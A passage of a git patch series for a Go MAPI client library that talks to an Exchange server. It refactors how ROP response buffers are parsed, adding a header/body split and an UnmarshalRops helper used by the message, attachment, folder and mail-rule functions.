propResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e := propResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } } @@ -2654,19 +2654,19 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error setColumnsResp := RopSetColumnsResponse{} - if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p rows := RopQueryRowsResponse{} - if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { + if _, e = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], setColumns.PropertyTags); e != nil { return nil, e } @@ -2725,16 +2725,16 @@ func FetchRules(columns []PropertyTag) (*RopQueryRowsResponse, error) { return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 rulesTableResponse := RopGetRulesTableResponse{} - p, err := rulesTableResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + p, err := rulesTableResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) bufPtr += p if err != nil { return nil, err } cols := RopSetColumnsResponse{} - p, err = cols.Unmarshal(execResponse.RopBuffer[bufPtr:]) + p, err = cols.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) bufPtr += p if err != nil { @@ -2743,7 +2743,7 @@ func FetchRules(columns []PropertyTag) (*RopQueryRowsResponse, error) { rows := RopQueryRowsResponse{} - _, err = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], columns) + _, err = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns) if err != nil { return nil, err } @@ -2887,9 +2887,9 @@ func ExecuteMailRuleDelete(ruleid []byte) error { } //process the exec response - bufPtr := 10 + bufPtr := 0 delRuleResponse := RopModifyRulesResponse{} - _, err = delRuleResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + _, err = delRuleResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) return err } From 956b5019813c7154fdf05c81d3ddc11e9d78d3c0 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 8 Sep 2017 10:38:29 +0200 Subject: [PATCH 23/35] ExecuteResponse has been changed. The RopBuffer response value is no longer []byte, but rather RopBufferResp{}. RopBufferResp{} consists of: Header []byte //size 10 Body []byte //size = RopBufferSize-10 This means we don't have to always start parsing the RopBuffer starting at index 10. Should help clarify the code and prevent errors in starting parsing at a wrong index rpbuff := RopBufferResp{} rpbuff.Header, pos = utils.ReadBytes(pos, 10, resp) rpbuff.Body, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize)-10, resp) All instances of execResponse.RopBuffer[bufPtr:] have been changed to execResponse.RopBuffer.Body[bufPtr:] Needs testing for all functions but seems to be working as expected. --- mapi/datastructs.go | 2 +- mapi/mapi.go | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index e09e290..cc84b1f 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -1456,7 +1456,7 @@ func (execResponse *ExecuteResponse) Unmarshal(resp []byte) error { //parse out ROPBuffer header and body rpbuff := RopBufferResp{} rpbuff.Header, pos = utils.ReadBytes(pos, 10, resp) - rpbuff.Body, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize)-9, resp) + rpbuff.Body, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize)-10, resp) execResponse.RopBuffer = rpbuff execResponse.AuxilliaryBufSize, _ = utils.ReadUint32(pos, resp) //execResponse.AuxilliaryBuf, _ = utils.ReadBytes(pos, int(execResponse.AuxilliaryBufSize), resp) diff --git a/mapi/mapi.go b/mapi/mapi.go index 516fae4..3928915 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -1427,8 +1427,8 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr if _, e = setStreamSizeResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } - utils.Debug.Printf("%s\n", hex.Dump(execResponse.RopBuffer.Body)) - serverHandles := execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-4:] + + serverHandles := execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-12:] //messageHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-12:] utils.Debug.Printf("Starting Upload") //lets split it.. @@ -1522,7 +1522,7 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr return nil, &TransportError{err} } - bufPtr = 10 + bufPtr = 0 commitStreamResp := RopCommitStreamResponse{} if p, e = commitStreamResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { From 9820191d69dabc8e5e5a06363db40259203523f9 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 8 Sep 2017 13:09:35 +0200 Subject: [PATCH 24/35] A big refactor. The main idea here being to simplify the logic behind processing responses from the server. Using the new UnmarshalRops function, it is possible to supply only the list of expected Rop responses, and the function will take care of the rest. We shouldn't be required to keep track of buffers, the function does this for us --- mapi/datastructs.go | 14 +-- mapi/mapi.go | 227 ++++++-------------------------------------- mapi/ropbuffers.go | 24 +++++ 3 files changed, 59 insertions(+), 206 deletions(-) create mode 100644 mapi/ropbuffers.go diff --git a/mapi/datastructs.go b/mapi/datastructs.go index cc84b1f..c0e0256 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -1108,7 +1108,7 @@ type OpenRecipientRow struct { //RopResponse interface for common methods on RopResponses type RopResponse interface { - Unmarshal([]byte) error + Unmarshal([]byte) (int, error) } //RopRequest interface for common methods on RopRequests @@ -1410,13 +1410,13 @@ func (connResponse *ConnectResponse) Unmarshal(resp []byte) error { } //Unmarshal function to produce RopLogonResponse struct -func (logonResponse *RopLogonResponse) Unmarshal(resp []byte) error { +func (logonResponse *RopLogonResponse) Unmarshal(resp []byte) (int, error) { pos := 0 logonResponse.RopID, pos = utils.ReadByte(pos, resp) logonResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) logonResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if logonResponse.ReturnValue != 0 { - return &ErrorCode{logonResponse.ReturnValue} + return 0, &ErrorCode{logonResponse.ReturnValue} } logonResponse.LogonFlags, pos = utils.ReadByte(pos, resp) logonResponse.FolderIds, pos = utils.ReadBytes(pos, 104, resp) @@ -1427,7 +1427,7 @@ func (logonResponse *RopLogonResponse) Unmarshal(resp []byte) error { logonResponse.LogonTime, pos = utils.ReadBytes(pos, 8, resp) logonResponse.GwartTime, pos = utils.ReadBytes(pos, 8, resp) logonResponse.StoreState, _ = utils.ReadBytes(pos, 4, resp) - return nil + return pos, nil } //Unmarshal for ExecuteResponse @@ -1798,7 +1798,7 @@ func (buffResponse *RopFastTransferSourceGetBufferResponse) Unmarshal(resp []byt } //Unmarshal function to produce RopSaveChangesMessageResponse struct -func (saveMessageResponse *RopSaveChangesMessageResponse) Unmarshal(resp []byte) error { +func (saveMessageResponse *RopSaveChangesMessageResponse) Unmarshal(resp []byte) (int, error) { pos := 0 saveMessageResponse.RopID, pos = utils.ReadByte(pos, resp) @@ -1808,8 +1808,10 @@ func (saveMessageResponse *RopSaveChangesMessageResponse) Unmarshal(resp []byte) if saveMessageResponse.ReturnValue == 0 { saveMessageResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) saveMessageResponse.MessageID, _ = utils.ReadBytes(pos, 8, resp) + } else { + return pos, &ErrorCode{saveMessageResponse.ReturnValue} } - return nil + return pos, nil } //CalcSizes func to calculate the different size fields in the ROP buffer diff --git a/mapi/mapi.go b/mapi/mapi.go index 3928915..cc52161 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -852,15 +852,10 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet getPropertyIds.PropertyNames = propids fullReq = append(fullReq, getPropertyIds.Marshal()...) - //fullReq := getPropertyIds.Marshal() - - //ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} - //fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { @@ -869,10 +864,6 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet bufPtr := 0 - if execResponse.RopBuffer.Body[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } - var p int var e error @@ -913,32 +904,17 @@ func GetPropertyIdsList(folderid, messageid []byte) (*RopGetPropertiesListRespon execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { return nil, &TransportError{err} } - bufPtr := 0 - - if execResponse.RopBuffer.Body[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } - - var p int - var e error - getMessageResponse := RopOpenMessageResponse{} - - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - getPropertyIdsResp := RopGetPropertiesListResponse{} - _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) + rops := []RopResponse{&getMessageResponse, &getPropertyIdsResp} + e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &getPropertyIdsResp, e } @@ -968,32 +944,17 @@ func GetPropertyNamesFromID(folderid, messageid, propids []byte, idcount int) (* execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { return nil, &TransportError{err} } - bufPtr := 0 - - if execResponse.RopBuffer.Body[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } - - var p int - var e error - getMessageResponse := RopOpenMessageResponse{} - - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - getPropNamesResp := RopGetNamesFromPropertyIdsResponse{} - _, e = getPropNamesResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) + rops := []RopResponse{&getMessageResponse, &getPropNamesResp} + e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &getPropNamesResp, e } @@ -1026,31 +987,18 @@ func SetSearchCriteria(folderids, searchFolder []byte, restrictions Restriction) execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - openFolderResponse := RopOpenFolderResponse{} - - if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - setCriteriaResponse := RopSetSearchCriteriaResponse{} + rops := []RopResponse{&openFolderResponse, &setCriteriaResponse} + e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - if _, e := setCriteriaResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - return &setCriteriaResponse, nil + return &setCriteriaResponse, e } @@ -1078,31 +1026,18 @@ func GetSearchCriteria(searchFolder []byte) (*RopGetSearchCriteriaResponse, erro execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - openFolderResponse := RopOpenFolderResponse{} - - if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - getCriteriaResponse := RopGetSearchCriteriaResponse{} + rops := []RopResponse{&openFolderResponse, &getCriteriaResponse} + e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - if _, e := getCriteriaResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - return &getCriteriaResponse, nil + return &getCriteriaResponse, e } @@ -1142,23 +1077,12 @@ func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (* return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - openFolderResponse := RopOpenFolderResponse{} - - if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } + rops := []RopResponse{&openFolderResponse, &propertiesResponse} + e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - return &propertiesResponse, nil + return &propertiesResponse, e } @@ -1220,26 +1144,11 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - createMessageResponse := RopCreateMessageResponse{} - - if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) + rops := []RopResponse{&createMessageResponse, &propertiesResponse, &saveMessageResponse} + e := UnmarshalRops(execResponse.RopBuffer.Body, rops) return &saveMessageResponse, e @@ -1294,7 +1203,6 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp fullReq = append(fullReq, saveMessage.Marshal()...) ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x00} - //fullReq = append(fullReq, ropRelease.Marshal()...) ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02} @@ -1309,44 +1217,14 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - createAttachmentResp := RopCreateAttachmentResponse{} - if p, e = createAttachmentResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - saveAttachmentResp := RopSaveChangesAttachmentResponse{} - if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) + rops := []RopResponse{&getMessageResp, &getAttachmentTblResp, &createAttachmentResp, &propertiesResponse, &saveAttachmentResp, &saveMessageResponse} + e := UnmarshalRops(execResponse.RopBuffer.Body, rops) return &createAttachmentResp, e @@ -1393,38 +1271,16 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - getAttachmentResp := RopOpenAttachmentResponse{} - if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - openStreamResp := RopOpenStreamResponse{} - if p, e = openStreamResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } + setStreamSizeResp := RopSetStreamSizeResponse{} - bufPtr += p + rops := []RopResponse{&getMessageResp, &getAttachmentTblResp, &getAttachmentResp, &openStreamResp, &setStreamSizeResp} + e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - setStreamSizeResp := RopSetStreamSizeResponse{} - if _, e = setStreamSizeResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { + if e != nil { return nil, e } @@ -1522,25 +1378,11 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr return nil, &TransportError{err} } - bufPtr = 0 - commitStreamResp := RopCommitStreamResponse{} - if p, e = commitStreamResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - //utils.Debug.Println("Commit Stream: ", commitStreamResp) - saveAttachmentResp := RopSaveChangesAttachmentResponse{} - if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - //utils.Debug.Println("Save: ", saveAttachmentResp) - saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) - //utils.Debug.Println("Save: ", saveMessageResponse) + rops = []RopResponse{&commitStreamResp, &saveAttachmentResp, &saveMessageResponse} + e = UnmarshalRops(execResponse.RopBuffer.Body, rops) return &saveAttachmentResp, e @@ -1609,7 +1451,7 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope bufPtr += p saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) + _, e = saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) return &saveMessageResponse, e @@ -1729,7 +1571,7 @@ func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*R bufPtr := 0 saveMessageResponse := RopSaveChangesMessageResponse{} - if e := saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { + if _, e := saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } return &saveMessageResponse, nil @@ -2071,7 +1913,6 @@ func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResp execRequest.RopBuffer.ROP.RopsList = k execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { @@ -2119,7 +1960,6 @@ func OpenMessage(folderid, messageid []byte) ([]byte, error) { execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { @@ -2129,9 +1969,6 @@ func OpenMessage(folderid, messageid []byte) ([]byte, error) { bufPtr := 0 var e error - if execResponse.RopBuffer.Body[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } openMessage := RopOpenMessageResponse{} if _, e = openMessage.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { @@ -2189,7 +2026,6 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { @@ -2261,7 +2097,6 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { @@ -2272,10 +2107,6 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast var p int var e error - if execResponse.RopBuffer.Body[bufPtr : bufPtr+1][0] != 0x03 { - bufPtr += 4 - } - openMessage := RopOpenMessageResponse{} if p, e = openMessage.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e @@ -2323,7 +2154,6 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, handles...) //append(handles, []byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} //append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, handles...) - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { @@ -2445,7 +2275,6 @@ func GetFolderHierarchy(folderid []byte) (*RopGetHierarchyTableResponse, []byte, execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { @@ -2567,7 +2396,6 @@ func CreateFolderRequest(folderName string, hidden bool, ftype uint8) (*RopCreat execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x01, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { @@ -2718,7 +2546,6 @@ func FetchRules(columns []PropertyTag) (*RopQueryRowsResponse, error) { execRequest.RopBuffer.ROP.RopsList = getRules execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x01, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} - //fetch folder execResponse, err := sendMapiRequest(execRequest) if err != nil { diff --git a/mapi/ropbuffers.go b/mapi/ropbuffers.go new file mode 100644 index 0000000..922f64c --- /dev/null +++ b/mapi/ropbuffers.go @@ -0,0 +1,24 @@ +package mapi + +func UnmarshalRop(resp []byte, rop RopResponse) (int, error) { + p, err := rop.Unmarshal(resp) + return p, err +} + +//UnmarshalRops is a wrapper function to keep track of unmarshaling logic and location in our buffer +//takes an array of the expected responses and unmarshals into each one. Returning the first error that occurs, +//or nil if no error +func UnmarshalRops(resp []byte, rops []RopResponse) (err error) { + bufPtr := 0 + p := 0 + + for i := range rops { + p, err = rops[i].Unmarshal(resp[bufPtr:]) + if err != nil { + return err + } + bufPtr += p + } + + return err +} From 9f380d159ad80e6600e886221436577f55385824 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 8 Sep 2017 13:51:21 +0200 Subject: [PATCH 25/35] Further refactoring and extending the new rop response parsing logic to other functions. TODO: need to implement an unmarshallWithProps option somehow. At the moment a few responses can't use the new auto unmarshal as they need to specify the number of columns associated to them. --- mapi/mapi.go | 368 ++++++++++++++------------------------------- mapi/ropbuffers.go | 7 +- 2 files changed, 114 insertions(+), 261 deletions(-) diff --git a/mapi/mapi.go b/mapi/mapi.go index cc52161..8be9775 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -532,10 +532,9 @@ func ReadPerUserInformation(folerID []byte) (*RopReadPerUserInformationResponse, } readResponse := RopReadPerUserInformationResponse{} - if _, e := readResponse.Unmarshal(execResponse.RopBuffer.Body); e != nil { - return nil, e - } - return &readResponse, nil + rops := []RopResponse{&readResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &readResponse, e } @@ -559,10 +558,9 @@ func GetLongTermIDFromID(objectID []byte) (*RopLongTermIDFromIDResponse, error) } longTermResponse := RopLongTermIDFromIDResponse{} - if _, e := longTermResponse.Unmarshal(execResponse.RopBuffer.Body); e != nil { - return nil, e - } - return &longTermResponse, nil + rops := []RopResponse{&longTermResponse} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &longTermResponse, e } @@ -634,28 +632,13 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - getMessageResponse := RopOpenMessageResponse{} - - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p modRecipientsResponse := RopModifyRecipientsResponse{} - if p, e = modRecipientsResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p submitMessageResp := RopSubmitMessageResponse{} - if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } + rops := []RopResponse{&getMessageResponse, &modRecipientsResponse, &submitMessageResp} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) - return &submitMessageResp, nil + return &submitMessageResp, e } @@ -753,34 +736,15 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { return nil, &TransportError{err} } - bufPtr := 0 - var p int - var e error - createMessageResponse := RopCreateMessageResponse{} - - if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p - propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p modRecipientsResponse := RopModifyRecipientsResponse{} - if p, e = modRecipientsResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - bufPtr += p submitMessageResp := RopSubmitMessageResponse{} - if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - return &submitMessageResp, nil + rops := []RopResponse{&createMessageResponse, &propertiesResponse, &modRecipientsResponse, &submitMessageResp} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + + return &submitMessageResp, e } //SetMessageStatus is used to create a message on the exchange server @@ -816,14 +780,10 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, return nil, &TransportError{err} } - bufPtr := 0 - setStatusResp := RopSetMessageStatusResponse{} - - if _, e := setStatusResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - return &setStatusResp, nil + rops := []RopResponse{&setStatusResp} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + return &setStatusResp, e } @@ -862,21 +822,10 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet return nil, &TransportError{err} } - bufPtr := 0 - - var p int - var e error - getMessageResponse := RopOpenMessageResponse{} - - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { - return nil, e - } - - bufPtr += p - getPropertyIdsResp := RopGetPropertyIdsFromNamesResponse{} - _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) + rops := []RopResponse{&getMessageResponse, &getPropertyIdsResp} + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) return &getPropertyIdsResp, e } @@ -913,7 +862,7 @@ func GetPropertyIdsList(folderid, messageid []byte) (*RopGetPropertiesListRespon getMessageResponse := RopOpenMessageResponse{} getPropertyIdsResp := RopGetPropertiesListResponse{} rops := []RopResponse{&getMessageResponse, &getPropertyIdsResp} - e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) return &getPropertyIdsResp, e @@ -953,7 +902,7 @@ func GetPropertyNamesFromID(folderid, messageid, propids []byte, idcount int) (* getMessageResponse := RopOpenMessageResponse{} getPropNamesResp := RopGetNamesFromPropertyIdsResponse{} rops := []RopResponse{&getMessageResponse, &getPropNamesResp} - e := UnmarshalRops(execResponse.RopBuffer.Body, rops) + _, e := UnmarshalRops(execResponse.RopBuffer.Body, rops) return &getPropNamesResp, e @@ -996,7 +945,7 @@ func SetSearchCriteria(folderids, searchFolder []byte, restrictions Restriction) openFolderResponse := RopOpenFolderResponse{} setCriteriaResponse := RopSetSearchCriteriaResponse{} rops := []RopResponse{&openFolderResponse, &setCriteriaResponse} - e := 